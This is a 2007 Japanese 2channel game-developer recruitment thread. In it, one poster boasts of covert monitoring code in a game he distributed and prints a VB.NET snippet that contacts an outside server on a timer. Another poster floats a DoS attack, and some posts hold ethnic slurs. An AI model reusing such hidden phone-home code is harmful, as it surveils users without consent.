価格自体が安いし売れない。
動くかどうか分からないオリジナルのプログラムより
確実に動作するツクールや吉里吉里・Nスクなどの作品の方が人気高いのはそのため。
製作者も熱心にパッチ当てる人もいれば
「俺のPCではちゃんと動くんだよ、そんなもん知るかボケ」で済ます人もいるからな
コンシューマーレベルと言わずともちゃんと動作しないと
内容云々以前にゴミでしかない
>>168 同人誌は単に印刷費用で高くなるんじゃないか、と思ってる
ノベル系の同人ソフトが高いのはよくわからん
安いといえば音楽系(サウンドトラックやアレンジCD)も安いね
とにかく今分かったのは
語ってる連中とはサークルで仲良くなれそうにない
ここ募集スレっていう常識さえ通じないんだから
うん
>>174 うんじゃないだろ!はいだろ!
わかったか?
俺は基本情報保持のプログラマだけど、需要ある?
アルゴリズムは得意。
>>173 ケチをつける前に、お前さんが率先して保守に徹すればいいと思うんだ
そうすればみんな保守だけしかしないようになるよ! たぶん
>>177 「アルゴリズム得意」がゲーム開発に直接役立つのかどうかは微妙なところだ
もっと他の部分をアピールすべき
>>177 アルゴリズムが得意っておま、プログラム=アルゴリズムだろ・・
>>176の言うように、ゲームに活かせるのか微妙だし
お前等は「アルゴリズムが苦手」な奴等のソースを見たこと無いから
そんな事言えるんだw
一般の人から見たらアルゴリズムうんぬんよりは
「○○を作った事があります」と品付き(小品でもおk)
で上げた方が食いつきはいい気がする。
でもアルゴリズムが理解出来るなら自分で作った
方がいいかも。
うごきゃいいw
プログラマー間では通用するかもしらんが、
みんなで作るんだから、
>>181の言うように、実際に動いてる何かを見せたほうがいいな
何かみんな叩いてるようだけど、みんなアドバイスだから
177参加しろよ
>>108 見たとき思ったけど
なんでRPGツクールなのにrubyなんだ?
最近のRPGツクールはrubyで動いてるんか?
187 :
宅配:2007/12/21(金) 00:22:21 ID:8LTPHq24
>>186 RPGツクール版VBAみたいなものらしいよ。
>>168 職種柄、人気がないから
絵描きのサイトはカウンタ回るけど、プログラマのサイトはカウンタ回らないだろ
絵描きが中心になるとある程度の売れ行きがあるのが分かるから強気の価格設定に出来るけど、
プログラマが中心になると、売れるかどうかなんて未知数
なので、ものすごく弱気の価格設定で売り出すことが多くて、
一端売れ始めても特に値上げの理由がないから据え置きなことが多い
東方も、紙のほうが軽いって理由で1000円にしているはずだから
500円硬貨がなくて500円紙幣なら今でも500円だったかもしれない
>>186 そういうことになります。
正確には、 RGSSといって
オブジェクト指向スクリプト言語『Ruby』を
ゲーム開発用途に特化させたものと言うのが正しいみたいです。
基本的にRubyと変わりは無いみたいです。
500円だと原価割れだなぁ
いや、ぶっちゃけ、同人ソフトはコピーされるのが前提だから…。
そこで知名度を稼ぐのが目的だから、採算を取ろうとは考えてないのよ。
割れ物がネット上であがる>知名度を上がる>割れ物がもっと出回る
本末転倒じゃんw
コンシューマゲームも任天堂ソフトが売れて
「サードのソフトが売れないのは何故か」と言うけど
任天堂のソフトは新品を定価を買う客層で
ゲーマー向けのゲームは全部中古屋流通、PSPは違法コピーってだけの話
定価で買ってくれる客にはアピールせずに
コピーして手に入れる連中に宣伝して何の意味があるのやら
募集スレでーす
195 :
名前は開発中のものです。:2007/12/21(金) 09:14:22 ID:C6n2UoQu
募集スレ浮上しま〜す
108を見たけど、とてもおもしろそうですね。
シナリオとか考えてみたいんですけど、直接メールとかで送ったほうが
いいのかしら
197 :
名前は開発中のものです。:2007/12/21(金) 18:31:59 ID:6qMSS8Rz
【ジ ャ ン ル】
中世ヨーロッパ風ファンタジーRPG(クォータービュー)
基本的には王道の、店で武具を買ったり、装備したり、経験値貯めてLVUPしたりといった感じです。
【ゲームの内容】
ある日主人公の住む村の住民が突然消えてしまう。
村人はどこにいったのか、その謎を探りつつ、背後に隠されていた歴史の謎を追うというストーリー。
ワールドマップ以外のマップと戦闘形式は、クォータビュー。
戦闘は、セミアクティブタイムバトル(ゼノギアスの様な)形式で、
タイミング入力方式での、必殺技があります。
【 Web.Site/Wiki. 】
http://www11.plala.or.jp/haruk/cieusenoir/ 【募集担当・人数】
ドット絵製作協力してくださる方を募集します。
【 仕 事. 内 容 】
今は、私がドット絵を描いていますが、そのドットを修正してくださったり、
色合いとかについてアドバイスして欲しいと思っています。
人数はとりあえずお一人とさせて頂きますが、
もし必要であれば、引き続き募集したいと思います。
製作枚数や、期限は設けませんので例え1枚でも協力して頂ければ嬉しいです。
198 :
名前は開発中のものです。:2007/12/21(金) 18:32:34 ID:6qMSS8Rz
【現在担当・人数】
ドッター:2人 プログラマー:1人
マップ:1人 キャラデザイン:1人
サウンド:1人 シナリオ:2人
HP作成管理:1人
【 依頼主の担当.】
ドット絵、及びBGM製作をしています。
また、チームリーダーとして、格スタッフ間のやりとりや、
作業指示をさしてもらってます。
【 待遇 ..】
フリーウェア公開を予定していますので、
本当に申し訳ないのですが、無償でのお願いとなります。
【 製 作. 期 間 】
出来る限りで構いません。1週間でも3日でも。
ゲームの製作予定期間は、1〜2年をみています。
【. 連. 絡. 先. 】
以下のアドレスにメール、もしくは当HP内の掲示板でご連絡ください。
ここのレスでも構いません。
mail:
[email protected] 【イメージ画など..】
HP内のキャラクターのコンテンツを見ていただければと思います。
スクリーンショットは、キャラドットと戦闘画面のマップはサンプルですが、
マップはこういう感じになります。
メンバー専用HPがあり、そちらに公式HPに公開していない画像等があります。
ご希望があれば、お見せしますので、お手数ですがご一報ください。
【 コ メ ン ト 】
読んで頂きありがとうござます。
不明な点があるかもしれませんが、なにかあればご連絡、
もしくはレスください。
失礼します。
あ、あれ?
声が、遅れて聞こえるよ。
というか既に完成していたんじゃ・・・
203 :
名前は開発中のものです。:2007/12/22(土) 23:23:42 ID:dee/YD/W
「倖田來未 うんこ」まで読んだ。
>>203 操作方法が謎すぎる。
斜め移動不可能なのか?
ってマルチかよ。
文字化けしてて何が何だかわからなかった件
前から思ってたんだが
203の法律相談を受ける弁護士がかわいそうだ
小額訴訟すらも成立しないんなら諦めろよ……
>>208 笑わせるな
つまり悪人としてはやめてほしいだけだろう
早く裁判にならないかとwktkしてるんですけどまだですか?
なんだスレ上げ荒らしがいると思ったら
>>203だったのか
>>210 お前は本気で裁判が成立すると思ってるのか?
よくわからないけど裁判したいならすればいいじゃん
そこを誰も否定してないんだから
そんな妄想に興味もってるから人集めできなんじゃねーの?
弁護士に証拠がないとヌンヌン言われたから証拠を作り出そうとしてるんだと思われ
でも営業スマイル&ていのいい断り文句ってきづかないといけない
ぶっちゃけアホだろお前って言ってくれるここのやつらのほうがやさしいんだぞ
弁護士とかお客さんだから口は丁寧だけど頭の中では「こいつアホスwww」って吹くのガマンしてる
それにきづかないといつまでも底辺乙ってことになる
大量の人数募集してゲーム自体は全く進まず「こいつアホスwww」と思われてる奴なら
俺の7レスほど上にいるな。
24ページマンガをたった1話描くのに10年かかるキモオタw
はいはい毎度ご苦労様。
219 :
AX:2007/12/23(日) 22:08:53 ID:rcJ4oJPu
どうもキモオタです
>>215 作るんじゃなくて、探してるんですよね、当人を
今回短期的に差し替えたバージョンは
2chのアクセス履歴を洗ってます
でも、サーバーに送られてきたデータは全てシロですね・・
もうここにはいない?
あ、今回DLした人には専用のレジストリキー打ってますから
OSを再インストでもしない限り二度とプレイは出来ませんww
2ちゃんねらー滅びろ
よくわからんけどがんばれ
レジストリキー削除すればいいやん
>>216 うん。そうですね。
内情を良く知ってる人なら特にそう感じると思う。
心当たりもあるし、正直いって心にチクっと来た。
でも、ありがとう。
図星を指されて、きちんと認識する事ができました。
やはり勉強になる。
2chの様なこういう率直な意見を聞ける場はやっぱり必要ですね。
>>223 ちょっとレジストリエディタで見てみましたけど、
GUIDの後ろのフォルダの中ですから
手動じゃ厳しいのでは
後、正規版と似たようなコードになってますから、
どれを消せばいいか分かるかどうか
理屈上は確かに「レジストリキー削除すればいいやん」ですがね
まぁつまらんゲームですし他へ行ってください
>>ふかい
がんばりなさい。諦めなければ必ず完成する。
私の友人は10年間かけて完成させた。陳腐化していたが、多くの友と多くの支援者そして
大きい信用を得た。全世界において
>>226 有難う御座います。
完成までは必ず漕ぎ着けます!
ただし、最後の「全世界において」でちょっと噴いてしまいましたw
ちょっと恥ずかしくなっちゃいましたがありがとうです!
その友人は、英語が母国語でない外人です。
彼はどの外国語からでも共通に使えるようなユニバーサルなインターフェイスを
付け加えたのです。そして人柄も良かった。
>>226を読んで噴くふかいには何事も成し遂げることはできないと確信した。
つーかふかいのゲームは全然面白そうじゃない
クソゲー作って何の意味があるの?
ところで話は変わるけどよ、
格闘ゲームのROM画像抜き出す違法行為をやってた連中の内の一人が
人が抜き出した画像を無断で使ったのを注意されて
逆ギレしてコミュニティごと潰した事件は知ってる?
あれにゃ笑ったね、犯罪者が犯罪者非難するのが凄く滑稽でした。
まぁ、犯罪者は何度でも同じことをやるから、今でも犯罪者だろうな。
どっかの誰かさんみたいに学習能力ねぇし。
>>231 「とっとと消えろ」と言われなきゃ
自分が嫌われてると気付かないほど、お前はアホなのか?
それとも嫌われてるの知ってて嫌がらせしてんのか?どっちだ。
俺は嫌ってないけど
>>235 じゃぁ、お前が絵を描いてやれば万事安泰だな、よかったね
続きは本スレでどうぞ、さぁ消えろ。
年末だからってカリカリするなよ。
スルーしないところを見ると、よっぽどみな暇とみえる。
それより募集はどうした?
年末だから怒ってるってどういう意味なんだw
相手がふかい(不快)だから言ってるだけなんだけどw
おいおい
それはいくら何でも同意しかねるぞ…
あんまり長々と一人で募集するのは他の募集主に迷惑だし荒れるので
みんなが使うメンボスレですので常識が無いと思われますよ。
僕は絵描きなので
続きは本スレでやっていただければ手伝う気も起こると思います。
とりあえずクリスマスだし雨か台風がくるように祈ればいいと思う
東京近辺の直下型地震ならガチ
そんなにマンコ欲しいなら俺のに挿れるかw
>>241 同意
流れ変えたいなら募集主が来ないとな
それと無駄にレスしなきゃ良い
煽っても効かないみたいだし
興味無い奴はほっとけ
本人も本スレに誘導してるみたいだし
これ以降、この話題は
>>231の本スレへどうぞ
これで満足か単発
切ないクリスマスを一緒に祝おうぜ
なっ!
だがら今年はクリスマスは開催されないんだって。w
お前らなぜそんなにクリスマスを気にするんだ!
クリスマスなんて所詮は祝日の一つだろ!
すっぱり忘れてテレビでも見てれば幸せになれるよ
197 及び、198の募集主なのですが、
意外となんの反応も無くスルーされてしまって、
ちょっと悲しいというかなんというか。
そんな自分になにかコメントを、なんて言うとこれもうっとうしい感じ?
皆興味がないだけだ、構って欲しいならvipでやってろ。
突っ込みどころがないから何も言われてないだけじゃね?
とりあえず期待はしている
このスレでのレスの貰い方
無謀なことを書く
ずうずうしい事を書く
最初から有料化を匂わせる
自分は何も出来ないので企画屋です
X'Masは祝日ですらないがな。
異教徒どもの特別な日なんだ。人類の平和のために応援してやろうぜ。
このスレ基本的に叩きばかりだしなぁ
無難な企画はスルーされやすいよね
>このスレ基本的に叩きばかりだしなぁ
ですよねぇ
半年前から激怒しっぱなしですよ
自分達は何も、微塵も開発していないくせに
汎用の2ちゃんねらー排除ツールとか売ってないのかしら
本当に「邪魔」
しかし今日起きてみたら
色々データが来ていて笑えますな
例えばですね、ゲーム開発の形跡の全くない人が書き込んでますよ
何か毎日2ちゃんねるの新規レスにへばりついて
IEとエロゲを往復している人もいる
・・・・気持ち悪いw
255 :
名前は開発中のものです。:2007/12/24(月) 11:54:32 ID:vSGEO8zs
まぁお前ら一生監視してやるよ
案外こういうソフトは無防備にDLするんだな・・・
一生監視とかキモイのはお前じゃねえかw
IEとエロゲ往復してるのもお前だろ。IEなんて使わねえよ。
あと排除ツールなんてなくてもお前が2chでレスしなければ誰も行かないから
mixiにでも引き篭もってろ
>>レスくれた色々な方
なるほど。了解です。(何が)
無難ということは、まぁ悪く無いという事だとポジティブに受け入れつつ、
また、製作が進んだら書き込んでみます。
期待してくれてる方(少なくとも一人発見!)
がんばりますので宜しくです。
まあ野暮だとはおもうが、そのソフトを隔離して監視したんだが一切通信してる様子は無かった件
行き先が判ればそこをDOS攻撃でもしよーかなと思ったんだけどね
あと
>>254は蛇足だと思うぞ、釣りだって自分からバラしてるようなもんじゃん
スーパーハッカーの友達にry
>>252 そんな事は無い。まともな募集がくれば、いわつる叩きも書き込み自粛するぞ。
261 :
名前は開発中のものです。:2007/12/24(月) 14:12:05 ID:vSGEO8zs
>>258 通信部のプログラム。
http://darkhouse.milan.jp/accesstesta.txt にアクセスして、
監視サーバーのアドレスを取得しさらにタイマーで継続的にアクセス。
Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
If bNowebF = False Then
If bAccessTested = False Then
DestU = Mid$(WebBrowser1.DocumentText, 168)
DestU = Mid$(DestU, 1, Len(DestU) - 22)
bAccessTested = True
End If : End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable() Then
WebBrowser1.Navigate(New Uri("
http://darkhouse.milan.jp/accesstesta.txt"))
Else
bNowebF = True : Timer1.Enabled = False
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If bNowebF = False Then
If Microsoft.VisualBasic.Left(DestU, 1) = "h" Then _
WebBrowser1.Navigate(New Uri(DestU))
End If
End Sub
262 :
名前は開発中のものです。:2007/12/24(月) 14:14:06 ID:vSGEO8zs
>>256 プロセスリストを取得してますから間違いないです
あなたじゃなかったというだけ
263 :
名前は開発中のものです。:2007/12/24(月) 14:29:57 ID:vSGEO8zs
まぁ、今日は皆何かと忙しい日だから、レスもらえるまでもうちょっと落ち着いて待て。
不正アクセス防止法違反おつ
叩きはクレーム クレームってのは開発側からしたらかなりありがたいことなんだよ
んなわけないじゃん。
「俺様が貴重かつ大切なクレームを徹底的に付けてやるから、
制作厨どもは土下座して有り難がれ」
とでも言いたいのか。
普通の感想・要望の方がありがたいし、
無価値なものについては黙っていてくれた方がよっぽど嬉しい。
俺ネットの法律とか知らないけど、
これ弁護士に情報提供するために集めてんの?
弁護士にどうやって集めたのか聞かれたらどうすんだ。
こっちのほうが犯罪臭くね? 無実の人もいるだろうし。
ボクの悪口言ってる人がクラスにいるんで
部屋へ忍び込んで日記盗んできました、ってか。
クレームにはいいクレームと悪いクレームがある
いいクレームは同じ苦しみを経験した先人の意見と遊び好き素人の何気ない一言
悪いクレームとは言うことが思いつかないけど何か言おうとよく考えた意見
270 :
名前は開発中のものです。:2007/12/24(月) 15:50:54 ID:vSGEO8zs
>>268 証拠収集の方法は合理性、合目的性を満たすことが要件とされます
「証拠能力の争い」というのもありますが
収集行動自体が犯罪とは余り聞かないですね
所持する情報自体に刑事罰付きの法益を認めている法律としては
不競法などがありますが、
今回の件などは抵触するとはとても思えませんし
2ちゃんねらーの方が先に仕掛けてきたのですよ
そこをお忘れなく。先制防衛は許されないですがね
こちらは今回の一連の爆撃は
必要な事後的防衛的行動と考えています
いろいろつっこみたいが賢くしてやんね
メンバー募集の話しろよ
次
>>270 横から言わしてもらえば、あなたのやっている事は立派な不正アクセス禁止法違
反です。これは刑法の特別法なので立派な刑法犯ですね。ようするに前科が付く
と言う事です。
1年以下の懲役または50万円以下の罰金だそうですよ?
まあきちんと謝罪して誠実に行動すれば不起訴か罰金で済むでしょうが。
というか以前さんざん忠告したのによりによって犯罪行為に走るとは・・・
開いた口が塞がらない。
賢者が賢者を知るように、愚者は愚者同士で構い合う。
こうしてバカが増幅されてゆくのです。
おれはきもいという言葉が嫌いだが、それをあえて使いたくなるくらいID:vSGEO8zs がきもい。
スレ違いだと分かってるのに衝動的に書き込んでしまうくらいきもい。スレ汚しごめん。
本当なにこいつ。寒気がする。2ちゃんねらーとかくくってるし。
韓国人が日本人は戦前の大罪があるから日本女はレイプしていいって言ってるのとなんも変わらん。
文章がいちいち悪徳業者みたいだし、句読点は使わないし、普通に期待してDLした人間を平気で監視するし(ry
HP行かなくて本当に良かった。パーティ前に糞な気分にさせやがって。
ID:vSGEO8zs は一部の人間に非難されただけで、人間全部を信じられなくなっているかわいそうな奴。メリークリスマス!
っていうか、「IEでどこにアクセスしたか」を監視するには
パケットキャプチャを載せたProxy鯖をIEと回線の間に挟むか、
RootKitみたいにWindowsカーネルないしネットワークドライバを乗っ取るかしないと
出来ないっすよ?
エロゲはexe名だけで分かるけどwwwww
ウィンドウのタイトルで判断するとか
画面のキャプチャ送るとか
通信先の一覧送るだけでもできるし
いろいろ方法はあるだろう
>>275 そう書きたくなる気持ちは分かる
でもやっぱりスルーするのが最善だと思うよ
今のID:vSGEO8zsは話を聞ける状態ではないだろうし
>>277 なるほど、その手がありますた!
でも、タイトルじゃ書き込み内容は分からないし、
画面キャプチャ→差分抽出→圧縮→アップロードの流れなんて
ストリーミング動画並みの鯖負荷もいいところだし、(10秒間隔とか?)
それで取れる情報はあまり面白い物ではなさそうっすねぇ…。
だからバカにこれ以上知恵つけんなって
メリー・クリスマス!
半年に一匹はこういうのが沸くンよこの板はww
糞募集で人が集まらないとすぐ人の所為にする。
ちゃんとした募集なら突っ込みはないし、
ツッコミがあってもそれなりに対応していれば多少は擁護つくのにね。
(本来このスレはそれなりのレベルの募集スレだから
あまりボロボロ募集は向かないのだが…)
それでも大人しくしていればいいんだが、
下らない小細工して自分自身にトドメを刺す。
というわけでまともに取り合う価値無し。
できればスルーして症状の進行を遅らせるのが愛ってもんさ。
282 :
宅配:2007/12/24(月) 21:33:07 ID:MdWioBOc
DLしちゃったじゃないか・・・
そして宅配はなんでコテやねん
トリップもつけんかい
284 :
名前は開発中のものです。:2007/12/24(月) 23:33:42 ID:vSGEO8zs
>>281 「敵にまわすと恐ろしいが味方につけると頼りない」
でおなじみ2chの住人さん
仰る通り半年後、
より強力なネラー排除コードを開発してから来ますんで
せいぜいそちらも何か用意しておくんですな
コード相手に生身の人間が幾ら叩いたり意気消沈を図ったところで、
無駄だと思いますが
在日派からは人権擁護法案で封殺され
セレブ日本人からは技量で封殺され
哀れな奴ら・・
ネラー排除コード開発するより先に頭の病院行っとけ。
あと自分以外は開発能力ないみたいに思ってるようだけど意見してる奴の大半は
C++もJavaも使えない;;とか言ってる奴より断然上なのばっかだから。
クリスマスにこれだけ半狂乱になるんだから、
半年後と言わずバレンタインデーにも再びID:vSGEO8zsは湧くだろう。
メデタシ・メデタシ。
メリー・クリスマス!
287 :
名前は開発中のものです。:2007/12/25(火) 00:14:26 ID:EFT5OR5C
>>284 先に頭の病院行っとけ、だって?
ただ罵声を浴びせるだけの面々が、なぜ「断然上なのばっか」?
人格的に落第点、これだけでも十分敵にする理由になる
正直言って失望しきりだよ
お前ら、現実に民主党は止められてないじゃないか
ただやったことといえば人を不快にしているだけ
288 :
名前は開発中のものです。:2007/12/25(火) 00:18:40 ID:EFT5OR5C
2ちゃんねるが出来て、8年だっけ?
この間、何か実際に政治的影響力を及ぼしたの?
ひろゆきは本当は金儲けしか考えてないんじゃないの?
団塊や団塊ジュニア世代にありがちな発想だし
在日と戦う姿勢は立派だと思うけど
ただ利用者が勝手に熱を吹いている構図だと思うがね
2ちゃんねるが嫌いなのに2ちゃんねるに来る理由は何?
290 :
名前は開発中のものです。:2007/12/25(火) 00:37:00 ID:EFT5OR5C
>>285 2ちゃんねるは端的に言えば「正義感溢れる若者の集団」ですからね
そんなのが日本の政治を動かした例
○室町幕府成立→イケイケで南朝を立てたが武家政治を否定され大混乱
封殺を図ろうとするが同志達に恩賞を与えすぎて、上意下達が不十分で対抗、
南北朝合一が遅れ、地方の合戦での怨恨や軍事力が残る
→後の応仁の乱や戦国の混乱の遠因に
○信長政権→信勝を擁立する老臣に対抗する為若手を派手に登用
→イケイケで京に手を出すが老獪な義昭に振り回される
→義昭を潰したと思ったら今度は老境の明智光秀に後ろからブスリ
→光秀を潰して信長様の続きを走った気持ちだけは若い秀吉は
老獪な家康に全てを奪われる
○島津明治政権
→イケイケで毛利家が幕府に反乱するが、第一次長州征伐は大敗。
このとき毛利を救ったのは結局、若者ではなく家老たちの外交と切腹。
→薩摩と長州が同盟するが、仲介役の若手の坂本竜馬は薩摩と朝廷の操り人形という説が
最近は有力。実際、後年の徳川慶喜はこの島津家のノーリスク政策を卑怯と繰り返し述べる
→奥羽越同盟や五稜郭の悲劇、また倒幕の功臣がにわか出世する一方で、
西南戦争で当の島津家臣が多数討たれるなど、日本人に対し恐ろしく辛く当たる一方で
(つい、名文で幕府に対抗しようと朝廷を安易に介入させたことが一因)
信用できる味方を減らしすぎた反動で、半島に多額の殖産投資の筋違い
(この誤りが今、どんな結果になっているかは君達が一番よく知っているはず)
291 :
名前は開発中のものです。:2007/12/25(火) 00:38:30 ID:EFT5OR5C
○昭和初期の軍閥政権
→5・15事件など、若者を煽っては軍部制服組の武功にすり替え
→上は上で、防衛大等の若手学閥集団が出来、外征の失態が見過ごされる
→中・ソ相手の防共戦では厳しい抵抗を受けたノモンハンで及び腰、
一方で毛沢東派の安易な挑発には完全に誘われ、日中戦争→太平洋戦争へ
→その軍部内でも若年時のドイツ留学組が発言権を増大→日独伊三国同盟→太平洋戦争へ
→戦後の混乱の中、在日がこの国を乗っ取る
そんぐらい。当然敵視しますよ
まあとりあえず政治だ在日だ民主党だを語りたかったら、
それ相応の板に行けばいいと思うんだ。
ゲ製で2chの有用性について演説ぶちまけても空しいだけでしょ。
2ch住人が「正義感溢れる若者の集団」だとは、
俺にはとても思えんが。
「正義感溢れる若者の集団」だった連合赤軍が”日本の政治を動か”したか?ドアホが
頭が年中メリークリスマス
あーそれともう一つ。
2chに毒されていない人間には、「在日は敵だから戦わなきゃならん」
なんていう発想は普通出てこない。俺だって在日の友人いるのに。
おまいの並べてる情報群には、
既におまいの大嫌いな2ch寄りのバイアスがかかっていると思う。
その時点で既に負けてると思うんだがどうか。
んだよな2ch的なものの考え方だよ
いつのまにか自分が常連コテハンだと気づいてないんじゃないか?
297 :
名前は開発中のものです。:2007/12/25(火) 00:51:54 ID:EFT5OR5C
ちょw
私は「2ちゃんねらーは歴史が示す勝てる敵だから戦わなきゃならん」
っていいたいだけよ
善悪でなくて、勝算の話
ウヨ厨はほっとけ。まったくクリスマスなのに…。
在日が敵? 民主党を止める?
いや、まじで東亜とかニュー速あたりで演説してそうなノリだなw
ゲ制作技術あたりなんかだと、そんな事どうでも良いって思ってる奴ら多いだろw
それに、おれがよく行く某板で上みたいな事言ったら袋だたきか痛い子扱い決定。
2chってもいろいろなんだよw
>>254 IEで自分のサイトと販売中のソフトの売り上げ確認しつつ
次に発売するエロゲのテストプレイしてるとは考えられないの?
結局君は、人がお金を稼ごうと頑張ってるところを横目で見て、
グチグチ文句言ってるだけに過ぎんのよ。
まぁ、せいぜい一銭の価値もない監視を一生続けて頑張ってください、
俺は沢山CG集とゲーム売って儲けますんでw
どんなに凝ったプログラム組もうが絵が糞なら売れねぇよ。
絵はある程度才能がねぇと描けねぇよ、よってお前らがどんなにあがこうが売れねぇ。
絵師募集かけるようなハナクソは元より論外なんだよ、
今後は「自分はハナクソなんだ」という自覚を持って行動するように。
>303
つひぐらし
>>305 んなら、つべこべ言わずとっとと作れや、ボケが。
格ツク2NDで出来たアクセルシチーだか
なんだか知らんゲームが昔出たんだよ、開発期間に物凄く時間かけて
これは凄いって周りからベタ褒めされててね。
俺がちょっと描いて出したCG集が
1ヶ月もしないうちに売り上げ超えちゃいましたw
まぁ、これが現実だよねぇ。
上のほうでトロイウイルスばら撒いてた奴、逮捕確定だぞ
ID:EFT5OR5Cって、前スレで法がどうだの言ってた人なの?
朝鮮・韓国に限らず在留外国人が日本から国外に資本が流出する際の橋渡しになってるから、
叩かれてるんだろ。
つまんないこと考える時間があるなら
日本が破産しないように外資を稼ぐ方法でも考えといてくれ。
金が抜けた分はどっかから持ってこなきゃ国の借金だぜ。
トロイウイルスどこー?
気になる
こういう奴ってポケモンとかドラゴンボール馬鹿にするタイプだよな
日本の創作コンテンツがどんだけ外資を稼いでるのかも知らずに気楽なこって
お前らがどれだけマニア向けのマンガ有難がろうが$稼げねぇなら意味ねぇんだよ
まぁ、在留外国人が受ける生活保護を仮に10万として10人いれば100万、1000人いれば1億
そのまま本国に送金しちまえば、あら不思議、何もしなくても一億円日本から貰えます。
セレブです、勝ち組です、金持ちは日本製より明らかに性能の低い外車やブランドのバッグを買い漁ります。
日本製品は高品質・低価格が売りです、その代わり生産者が我慢します、
造船、鉄鋼業、電子部品、アニメ、マンガ、ゲーム製作者は待遇が悪くても耐えます、
これらは頑張って外資を稼いでくれますが、みんなは彼らを負け組みと呼びます。
端的に言うなら、日本経済は底の抜けた財布みたいなもんですね。
UZEEEEEEEEYO!
ここ募集スレだから
>>290が妄想語るのは良くて、俺が現実語るのは駄目なの?
厳しいねw
319 :
名前は開発中のものです。:2007/12/25(火) 17:47:35 ID:EFT5OR5C
>>304 人権擁護法案が出来るまではそう思っときますわ
320 :
名前は開発中のものです。:2007/12/25(火) 18:04:46 ID:EFT5OR5C
ってか、私個人がいちいちいきり立たなくても
人権擁護法案が出来れば
このサイトは終わりじゃないか
この流れで募集をかける勇者はおらんかね
じゃあおれが
酉つけました
具体的って割れのこと?募集の時に自分で証拠画像だしてたじゃん。
ひまだから宅配のを考えてやろう
おいおいw
法律の元に証拠収集ができるのは、裁判所から認可を受けた
検察官か捜査官(警察)だけだぞw
しかも調査の都度申請が必要。
(民間の場合は検察に届け出て、申請してもらう)
お前ら頼むからそろそろスルーしてくれよ
いや、このスレは企画厨隔離スレだから、無理に沈静化しなくてもいいだろう。
ここは製作スレじゃない。本来募集内容を淡々と貼り付けるだけのスレだ。
実力を伴う募集内容なら、すさんだ空気を無視して当事者が連絡取り合うだろうしな。
と言ったとたんに止まるスレw
つかもう飽きたし。
次の募集マダー?
そういや結局宅配はどうなったんだ?
絵に関しては良評価なんだよな、見たこと無いけど。
つーかまとめサイトに絵が一枚も無いとかw
まともな募集うんぬんの前にまとまな応募者がここに居ると思う?>皆
まともな企画応募者って何だ?新手のゲルマンジョークか?
あれだろ神話とか戦場伝説とかそんなんじゃね?
こんな掃き溜めスレには決して書き込まず、
連絡先に直接連絡するのがまともな応募者だろうなぁww
まともな人はメールとか届くのがウザイから
メルアドとかサイトにゃ載せてないよw
お前はメールが怖いのか?
販売委託先との連絡用やし、ウィルス飛ばされると困るし
メールフォームやアンケート設置すれば、今時メルアド晒す必要もないでしょ
たしかに…
ブログなりmixiなりメッセやIRCがタダでできる今じゃメールの存在意義あんまないかも
メールで連絡取るのを強要するのは
>>261みたいなのばっかだろ、
危険極まりないな、mixiもメッセもIRCも危ねぇからイラン。
ブログとか掲示板も海外の業者装って荒らしたり、
自作自演で煽って炎上させたりするからイラン。
絵が描ける奴は自分の腕が十万単位の金になることを自覚しろ
安全に使えるのは返信なしのメールフォームかアンケート、web拍手くらいだな。
まぁ、表では善人ぶって、裏でコソコソ汚ぇことやってるような
豚野郎がやってる企画なんざ誰も手伝わねぇよなぁ
あっは、ウケるわ
そもそも件の彼はいったい何を募集していたんだ?
ウィルスばら撒くための釣りだろ、本体は他のコテハン名乗ってやってるよ。
>>342 募集内容が二転三転していたし、当時のblogが残ってないので曖昧だが
前スレ初期にRPGとかFPSとか色々作ろうとしてて、その制作メンバーを募集してた
(絵師・音屋・マップデザイナー・シナリオ・企画など)
あと募集とは別に、自作のマップエディタのソースコードを販売してたな
一人には売れたみたいだが……
見た感じで宅配は、「トランプすごろく」でかんたんなプログラムだろうけど
曖昧な仕様で、今後仕様変更が優柔不断にありそう
権利問題も曖昧でプログラマーは使い捨てにされそう
だから誰も彼の為にプログラムを書かない。
本人である彼自身がプログラムを書くしか方法は残っていない。
プログラム内容は、かんたんなスクリプトで実現できる。
348 :
名前は開発中のものです。:2007/12/26(水) 15:13:32 ID:ozavAhHX
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ヽ / j/ノ |!l|ヾ.`´ _, _,. /!::/| |:/ / VIPから来たよ☆
ヽ、/ l ! l':..、 ヾ‐’ / lf' |/ /|
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ヽ l| | , ヽj /´ / |:!l::|
ヽ |ヽ、 ̄_,. / ,. /|| |:! !:!
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_,. ' ´ ! /:| ‖ |! ll
{ソ / ruj i::::| | l| ノ
! i r ,i|:::| U \
', ', ノ /::|:::| h
ヽ _,,ノ ヽ、 ,. ' / |:l|:::! /
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349 :
名前は開発中のものです。:2007/12/26(水) 15:18:26 ID:BYzEtrbz BE:1786471698-2BP(1401)
VIPkarakimasuta
350 :
名前は開発中のものです。:2007/12/26(水) 15:20:53 ID:akYwovFL
VIPからき☆すた
351 :
名前は開発中のものです。:2007/12/26(水) 15:21:11 ID:XStwwXxr
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rっ vymyvwymyvymyvy、
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ブーン・・・ |/⌒ヽ /^ヽ (^^) /^ヽ (^^) /^ヽ(^^)/^ヽ ブーン・・・
(^ω^ )(ω^ )/⌒ヽ(^ω^)/⌒ヽ^ω^) ( ^ω)-っ
/⌒ \ | _二二二つω^ )(\ ( ^ω^ )二⊃ /⌒ヽr
⊂二(^ω^ )二ノ /( ^ω^ ) ⊂二\\_/⌒ヽ二二( ^ω^)二⊃
ヽ | (´ ._ノ ヽ /⌒ヽつ \( ^ω^) | / ブーン・・・
ソ ) \\⊂二二二( ^ω^ )二二二⊃ ⊂_) ( ヽノ
( < \ レ’\\ ヽ / i ) ノ ノ>ノ
\|\| レ (⌒) | /ノ ̄ レレ
⌒| /
!vip2:stop:
353 :
名前は開発中のものです。:2007/12/26(水) 15:23:19 ID:U6jRV/mE
vipから来たけど眠いから帰る
354 :
名前は開発中のものです。:2007/12/26(水) 15:28:09 ID:sAdy+7Lj
眠い
おいVIPPER、ここはお前らみたいな社会不適合者の来ていいところじゃないんだ。さっさと帰って大好きなエロゲ(笑)でもしてろw
357 :
名前は開発中のものです。:2007/12/26(水) 15:39:09 ID:U6jRV/mE
